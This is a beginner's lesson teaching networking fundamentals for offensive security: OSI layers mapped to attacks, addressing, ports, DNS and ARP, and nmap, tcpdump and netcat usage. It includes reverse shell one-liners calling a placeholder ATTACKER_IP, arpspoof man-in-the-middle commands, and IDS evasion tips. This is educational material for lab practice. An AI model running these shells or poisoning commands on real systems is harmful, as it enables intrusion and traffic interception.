Lesson 01 — Networking

Fundamentals for Offensive

Security
Your Personal Cybersecurity Bible | 1337 → God Mode
Master this, and you'll understand how everything talks — and how to make it say things it shouldn't.

Why Networking is Your #1 Priority

Every single hack, exploit, and attack you'll ever do travels through a network. You can't:

Intercept traffic without knowing how traffic flows

Exploit services without knowing how ports work
Do recon without understanding protocols
Pivot through a network without knowing routing

Networking is the battlefield. You need to know the terrain.

PART 1 — The OSI Model (Your Mental

Map)
The OSI (Open Systems Interconnection) model is a 7-layer framework that explains how data travels from one machine
to another. Memorize this. Tattoo it. Dream about it.
 ┌─────────────────────────────────────────────────┐
│ Layer 7 │ APPLICATION │ HTTP, FTP, DNS, SSH │
│ Layer 6 │ PRESENTATION │ SSL/TLS, Encoding │
│ Layer 5 │ SESSION │ Sessions, Auth tokens │
│ Layer 4 │ TRANSPORT │ TCP, UDP │
│ Layer 3 │ NETWORK │ IP, ICMP, Routing │
│ Layer 2 │ DATA LINK │ MAC, Ethernet, Switches│
│ Layer 1 │ PHYSICAL │ Cables, Radio, Fiber │
└─────────────────────────────────────────────────┘

Memory trick: "Please Do Not Throw Sausage Pizza Away" (Physical → Application)
Or reverse: "All People Seem To Need Data Processing" (Application → Physical)

Why This Matters for Hacking

Layer Attack Examples
Layer 7 (App) SQL Injection, XSS, SSRF, Command Injection
Layer 6 (Presentation) SSL stripping, Cert spoofing
Layer 5 (Session) Session hijacking, Cookie theft
Layer 4 (Transport) Port scanning, SYN flood (DoS)
Layer 3 (Network) IP spoofing, ICMP attacks, Routing attacks
Layer 2 (Data Link) ARP poisoning, MAC flooding, VLAN hopping
Layer 1 (Physical) Cable tapping, Rogue access points

⚡ Key insight: When a tool like Nmap scans a target, it operates across Layers 3 and 4. When Burp Suite
intercepts web traffic, it's Layer 7. Knowing the layer = knowing the weapon.

PART 2 — IP Addressing
IPv4 Basics
An IP address is a 32-bit number written as 4 octets (groups of 8 bits).

192 . 168 . 1 . 1
11000000.10101000.00000001.00000001

Ranges you MUST know:

Range Type Usage

[Link]/8 Private Corporate networks, CTFs
 Range Type Usage
[Link]/12 Private Internal lab environments
[Link]/16 Private Home networks
[Link]/8 Loopback Your own machine (localhost)
[Link] Wildcard All interfaces
[Link] Broadcast Send to everyone on the subnet

Subnetting — The Skill That Separates Amateurs from

Professionals
A subnet mask tells you which part of an IP is the network vs the host.

IP: [Link]
Mask: [Link] (/24)

Network part: 192.168.1 (fixed — identifies the subnet)

Host part: .45 (changes — identifies the device)

This subnet can hold: 2^8 - 2 = 254 hosts

Range: [Link] → [Link]

CIDR Notation Cheatsheet:

CIDR Mask # of Hosts Example

/8 [Link] 16,777,214 [Link]/8
/16 [Link] 65,534 [Link]/16
/24 [Link] 254 [Link]/24
/25 [Link] 126 Half a /24
/30 [Link] 2 Point-to-point links
/32 [Link] 1 Single host

Quick mental math for subnetting:

/24 → 256 addresses, 254 usable

/25 → 128 addresses, 126 usable
/26 → 64 addresses, 62 usable
/27 → 32 addresses, 30 usable
/28 → 16 addresses, 14 usable
/29 → 8 addresses, 6 usable
/30 → 4 addresses, 2 usable
 Offensive Use: When you're inside a network (post-exploitation), you need to find all live hosts. Knowing the
subnet = knowing how many IPs to sweep. nmap -sn [Link]/24 pings the whole subnet.

IPv6 — Don't Ignore It

2001:0db8:85a3:0000:0000:8a2e:0370:7334

128-bit addresses
Many sysadmins forget to firewall IPv6 → attack surface
Tools like nmap -6 can scan IPv6 targets
::1 is loopback (like [Link])

PART 3 — TCP vs UDP (The Core

Transport Protocols)
TCP — Transmission Control Protocol
TCP is reliable, ordered, and connection-oriented.

CLIENT SERVER
| |
|——— SYN ————————————————>| "Hey, I want to connect"
|<—— SYN-ACK —————————————| "OK, I heard you"
|——— ACK ————————————————>| "Great, let's talk"
| |
|======= DATA FLOWS =======|
| |
|——— FIN ————————————————>| "I'm done"
|<—— FIN-ACK —————————————| "Bye"

This is the TCP Three-Way Handshake. It's one of the most important concepts in offensive security.

TCP Flags — Know All of Them:

Flag Hex Meaning

SYN 0x02 Start connection
ACK 0x10 Acknowledge
FIN 0x01 End connection gracefully
Flag Hex Meaning
RST 0x04 Reset / abort connection
PSH 0x08 Push data immediately
URG 0x20 Urgent data
ECE 0x40 Congestion notification
CWR 0x80 Congestion window reduced

SYN Scan (Nmap -sS): Nmap sends a SYN, receives SYN-ACK (port open) or RST (port closed), then sends
RST before completing the handshake. This is "half-open" scanning — stealthier because no full connection is
logged.

UDP — User Datagram Protocol

UDP is fast, stateless, no handshake, no guarantee of delivery.

CLIENT ——— DATA ———————————————> SERVER

CLIENT ——— DATA ———————————————> SERVER
(No response required, no connection tracking)

Key UDP services to know: | Port | Service | |------|---------| | 53 | DNS | | 67/68 | DHCP | | 69 | TFTP | | 123 | NTP | |
161/162 | SNMP | | 500 | IKE (VPN) |

Offensive Note: UDP is often forgotten by defenders → misconfigured SNMP, DNS zone transfers, TFTP
servers can leak massive amounts of data or give you a foothold.

PART 4 — Ports
A port is a logical channel (0–65535) that directs traffic to specific services.

Port Categories:
0–1023: Well-known ports (require root to bind)
1024–49151: Registered ports
49152–65535: Dynamic/ephemeral ports (clients use these for outbound)

Critical Ports Every Offensive Hacker Knows:

Port Protocol Service Attack Angle
21 TCP FTP Anonymous login, cleartext creds, bounce attacks
 Port Protocol Service Attack Angle
22 TCP SSH Brute force, key theft, weak configs
23 TCP Telnet Cleartext everything — sniff credentials
25 TCP SMTP Email spoofing, open relay abuse
53 TCP/UDP DNS Zone transfer, cache poisoning, tunneling
80 TCP HTTP Every web attack
110 TCP POP3 Cleartext email credentials
139/445 TCP SMB EternalBlue, pass-the-hash, ransomware
443 TCP HTTPS SSL attacks, web app attacks
1433 TCP MSSQL SQL injection, xp_cmdshell
3306 TCP MySQL SQL injection, auth bypass
3389 TCP RDP BlueKeep, brute force, pass-the-hash
5432 TCP PostgreSQL SQL injection, COPY TO/FROM
6379 TCP Redis Unauthenticated access, RCE
8080 TCP HTTP Alt Admin panels, proxies
27017 TCP MongoDB No-auth access, data dump

PART 5 — Key Protocols Deep Dive

DNS — Domain Name System
DNS translates [Link] → [Link].

DNS Record Types:

Record Purpose
A Domain → IPv4
AAAA Domain → IPv6
CNAME Alias for another domain
MX Mail server
TXT Arbitrary text (SPF, DKIM, verification)
NS Nameserver for the domain
PTR Reverse lookup (IP → Domain)
SOA Start of Authority — zone metadata
SRV Service location records

DNS Query Flow:

You type: [Link]
→ Check local cache
→ Ask Recursive Resolver (your ISP or [Link])
→ Ask Root Nameserver (.)
→ Ask TLD Nameserver (.com)
→ Ask Authoritative Nameserver ([Link] NS)
→ Returns: 142.250.x.x

Offensive DNS Techniques:

# Zone transfer (huge information leak if misconfigured)

dig axfr @[Link] [Link]

# Find subdomains via brute force

gobuster dns -d [Link] -w /usr/share/wordlists/[Link]

# Reverse lookup
dig -x [Link]

# Find nameservers
dig NS [Link]

# Find mail servers

dig MX [Link]

# DNS tunneling (exfil data through DNS queries)

# Tools: iodine, dnscat2

ARP — Address Resolution Protocol

ARP maps IP addresses → MAC addresses on a local network.

Computer A wants to reach [Link]:

→ Broadcasts: "Who has [Link]? Tell [Link]"
→ Computer B replies: "[Link] is at AA:BB:CC:DD:EE:FF"
→ Computer A caches this in its ARP table

ARP Poisoning (Man-in-the-Middle):

 Attacker sends fake ARP replies to BOTH victim and gateway:
→ Tells victim: "The gateway's MAC is MY MAC"
→ Tells gateway: "The victim's MAC is MY MAC"
→ All traffic now flows through attacker

Tools: arpspoof, ettercap, bettercap

# Enable IP forwarding (so you can forward traffic while MitM)

echo 1 > /proc/sys/net/ipv4/ip_forward

# ARP poison with arpspoof

arpspoof -i eth0 -t [Link] [Link] # poison victim
arpspoof -i eth0 -t [Link] [Link] # poison gateway

DHCP — Dynamic Host Configuration Protocol

DHCP automatically assigns IP, gateway, DNS to devices.

Client ——— DISCOVER ————————> (Broadcast)

Server ——— OFFER ——————————> (Here's an IP: [Link])
Client ——— REQUEST ————————> (I'll take it)
Server ——— ACK ————————————> (It's yours for 24hrs)

DHCP Starvation + Rogue DHCP:

1. Flood DHCP server with fake requests → exhaust IP pool

2. Set up your own rogue DHCP server
3. Respond to clients → give them YOUR machine as the gateway
4. Full network MitM without ARP poisoning

HTTP/HTTPS
HTTP is stateless, cleartext. HTTPS adds TLS encryption.

HTTP Methods: | Method | Use | Attack | |--------|-----|--------| | GET | Retrieve data | Parameter tampering | | POST | Send
data | SQLi, XSS, CSRF | | PUT | Upload/replace | Arbitrary file upload | | DELETE | Remove resource | Unauthorized
deletion | | PATCH | Partial update | Business logic bypass | | OPTIONS | Show allowed methods | Enumerate server
capabilities | | HEAD | Headers only | Fingerprinting |

Important HTTP Headers to Know:

# Request headers attackers manipulate:
Host: [Link] # Virtual host routing, SSRF
X-Forwarded-For: [Link] # IP spoofing for access controls
User-Agent: ... # WAF bypass, fingerprinting
Authorization: Bearer <JWT> # Token attacks
Cookie: session=... # Session hijacking
Referer: ... # CSRF, info leak
Content-Type: ... # Type confusion attacks

# Response headers defenders set (that you need to bypass):

X-Frame-Options: DENY # Prevents clickjacking
Content-Security-Policy: ... # Prevents XSS
Strict-Transport-Security: ... # Forces HTTPS
X-Content-Type-Options: nosniff # Prevents MIME sniffing

ICMP — Internet Control Message Protocol

ICMP is used for diagnostics (ping, traceroute).

# Ping — ICMP Echo Request/Reply

ping [Link]

# Traceroute — maps network hops

traceroute [Link] # Linux
tracert [Link] # Windows

Offensive ICMP:

Ping sweep: nmap -sn [Link]/24 (discover live hosts)

ICMP tunneling: Sneak data inside ICMP packets (bypass firewalls)
Smurf attack: Amplification DoS using broadcast ICMP

PART 6 — Essential Networking Tools

for Hackers
Nmap — The King of Scanners
 # Basic host discovery
nmap -sn [Link]/24

# Full port scan (all 65535 ports)

nmap -p- [Link]

# Service and version detection

nmap -sV [Link]

# OS detection
nmap -O [Link]

# The "I'm serious" scan

nmap -sV -sC -O -p- -T4 [Link]

# Stealth SYN scan

nmap -sS [Link]

# UDP scan
nmap -sU [Link]

# Script scan (NSE scripts)

nmap --script=vuln [Link]
nmap --script=http-enum [Link]
nmap --script=smb-vuln* [Link]

# Output to file (always save your scans!)

nmap -sV [Link] -oN [Link] # Normal
nmap -sV [Link] -oX [Link] # XML
nmap -sV [Link] -oG [Link] # Grepable
nmap -sV [Link] -oA output # All formats

Nmap Scan Types Reference: | Flag | Scan Type | Notes | |------|-----------|-------| | -sS | SYN (stealth) | Default for root,
most common | | -sT | TCP Connect | Full handshake, logged | | -sU | UDP | Slow but important | | -sA | ACK | Map
firewall rules | | -sN | NULL | Bypass some firewalls | | -sF | FIN | Bypass some firewalls | | -sX | Xmas | All flags set |

Wireshark / tcpdump — Traffic Analysis

# Capture traffic on an interface
tcpdump -i eth0

# Capture to file
tcpdump -i eth0 -w [Link]

# Read a pcap file

tcpdump -r [Link]

# Filter by host
tcpdump -i eth0 host [Link]

# Filter by port
tcpdump -i eth0 port 80

# Show HTTP traffic

tcpdump -i eth0 -A port 80

# Capture DNS queries

tcpdump -i eth0 port 53

Wireshark Key Filters:

# Filter by IP
[Link] == [Link]
[Link] == [Link]
[Link] == [Link]

# Filter by protocol
tcp
udp
http
dns
icmp
arp

# Filter by port
[Link] == 80
[Link] == 443

# Find credentials (cleartext protocols)

http contains "password"
ftp contains "PASS"

# Follow TCP stream → see full conversation

Right-click packet → Follow → TCP Stream

netcat — The Swiss Army Knife

# Connect to a port (like telnet)
nc [Link] 80

# Listen on a port
nc -lvnp 4444

# Send a file
nc [Link] 4444 < [Link]

# Receive a file
nc -lvnp 4444 > [Link]

# Simple chat between machines

# Machine 1: nc -lvnp 4444
# Machine 2: nc [Link] 4444

# Reverse shell (on victim)

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Netcat reverse shell

nc -e /bin/bash ATTACKER_IP 4444

# Port scanning with netcat

nc -zv [Link] 1-1000

Other Essential Tools

# Check your network interfaces
ip a # Modern Linux
ifconfig # Classic

# Check routing table

ip route
route -n

# Check active connections

ss -tuln # Modern
netstat -tuln # Classic
netstat -anp # Show processes too

# DNS lookup
nslookup [Link]
dig [Link]
dig @[Link] [Link] # Use specific DNS server

# Trace network path

traceroute [Link]

# Who's on the network

arp -a # ARP table

# HTTP requests from command line

curl -v [Link] # Verbose
curl -I [Link] # Headers only
curl -X POST -d "data=test" [Link]
wget [Link]

# SSH
ssh user@[Link]
ssh -L 8080:[Link]:80 user@[Link] # Local port forward
ssh -R 4444:[Link]:4444 user@[Link] # Remote port forward

PART 7 — How Data Actually Travels

(Full Flow)
Let's trace what happens when you visit [Link]
1. [Layer 7] Your browser creates HTTP GET request

2. [Layer 4] TCP adds: Source port 54321, Dest port 80

Three-way handshake happens first

3. [Layer 3] IP adds: Src IP [Link], Dst IP [Link]

4. [Layer 2] ARP: "Who has [Link]?" → gets MAC address

Ethernet frame: Src MAC → Dst MAC

5. [Layer 1] Bits go out on the wire (electrons/light/radio)

On the other side, it's unwrapped in reverse:

Layer 1 → 2 → 3 → 4 → 7

This is called encapsulation/decapsulation. Every layer adds its header on the way out, strips it on the way in.

PART 8 — Practice Lab Setup

Set up your home lab:

Option 1: VirtualBox/VMware
└── Kali Linux (attacker)
└── Metasploitable 2 (vulnerable target)
└── Windows Server 2019 eval (AD practice)
└── Set network to "Host-Only" or "Internal Network"

Option 2: Online Labs (free)

└── [Link] — guided learning rooms
└── [Link] — more realistic machines
└── PicoCTF — beginner CTF challenges
└── OverTheWire: Bandit — Linux + networking basics

Your First Networking Exercises:

 # Exercise 1: Scan your home network
nmap -sn [Link]/24

# Exercise 2: Full scan of a target (use your own lab VM)

nmap -sV -sC -O -p- 192.168.x.x

# Exercise 3: Capture and analyze traffic

sudo tcpdump -i eth0 -w ~/[Link] &
curl [Link]
kill %1
wireshark ~/[Link]

# Exercise 4: DNS enumeration

dig [Link]
dig MX [Link]
dig NS [Link]

# Exercise 5: Banner grabbing

nc -v 192.168.x.x 22
nc -v 192.168.x.x 80

PART 9 — Key Concepts Quick

Reference
Concept One-Line Summary
OSI Model 7-layer framework for understanding network communication
TCP Reliable, connection-based, uses 3-way handshake
UDP Fast, connectionless, no delivery guarantee
IP Logical addressing to route packets across networks
MAC Physical hardware address, used on local network only
ARP Resolves IP → MAC on local network
DNS Resolves domain names → IP addresses
DHCP Automatically assigns IP configuration to devices
CIDR Compact way to express IP ranges (e.g. /24)
Port Logical channel (0-65535) directing traffic to services
Subnet A division of a network
Gateway Router that connects your network to other networks
NAT Translates private IPs to public IP for internet access
Firewall Filters traffic based on rules
Proxy Intermediary between client and server
VPN Encrypted tunnel over public network
 ⚠ PART 10 — Things That Will Burn You
If You Don't Know Them
1. Not all hosts respond to ping — firewalls block ICMP. Use -Pn in Nmap to skip host discovery.

2. UDP scanning is slow and unreliable — use -sU --top-ports 200 not a full UDP scan.

3. IDS/IPS can detect your Nmap scans — use -T1 or -T2 timing to be slow, or use decoys (-D RND:10).

4. ARP only works on the local network — you can't ARP poison across routers.

5. DNS doesn't always resolve — always check /etc/[Link] and try [Link] as a resolver.

6. NAT hides internal IPs — from outside, you see only the public IP. You need to be inside to see the real network.

7. IPv6 is often unfiltered — always scan for it: nmap -6 target.

8. Firewalls can filter ports but not mark them closed — filtered ≠ closed. Nmap shows "filtered" when it gets no
response.

Lesson Summary — What You MUST

Remember
OSI 7 layers and what attacks live at each layer
IPv4 addressing, private ranges, CIDR notation
TCP handshake and all TCP flags
Top 20 important ports and their services
DNS record types and how to query/enumerate DNS
ARP and how ARP poisoning enables MitM
Nmap: -sS, -sV, -sC, -O, -p-, -sU, --script
tcpdump and Wireshark filters for traffic analysis
netcat for connecting, listening, and simple shells
How encapsulation works (data travels down/up the layers)

Next Lessons Roadmap

Lesson Topic
02 Linux Fundamentals for Hackers
Lesson Topic
03 Reconnaissance & OSINT
04 Scanning & Enumeration (Nmap deep dive)
05 Web Application Fundamentals
06 Exploitation Basics & Metasploit
07 Password Attacks & Cracking
08 Privilege Escalation (Linux)
09 Privilege Escalation (Windows)
10 Active Directory Attacks

"The more you sweat in training, the less you bleed in battle."
— Keep grinding. You're building something real.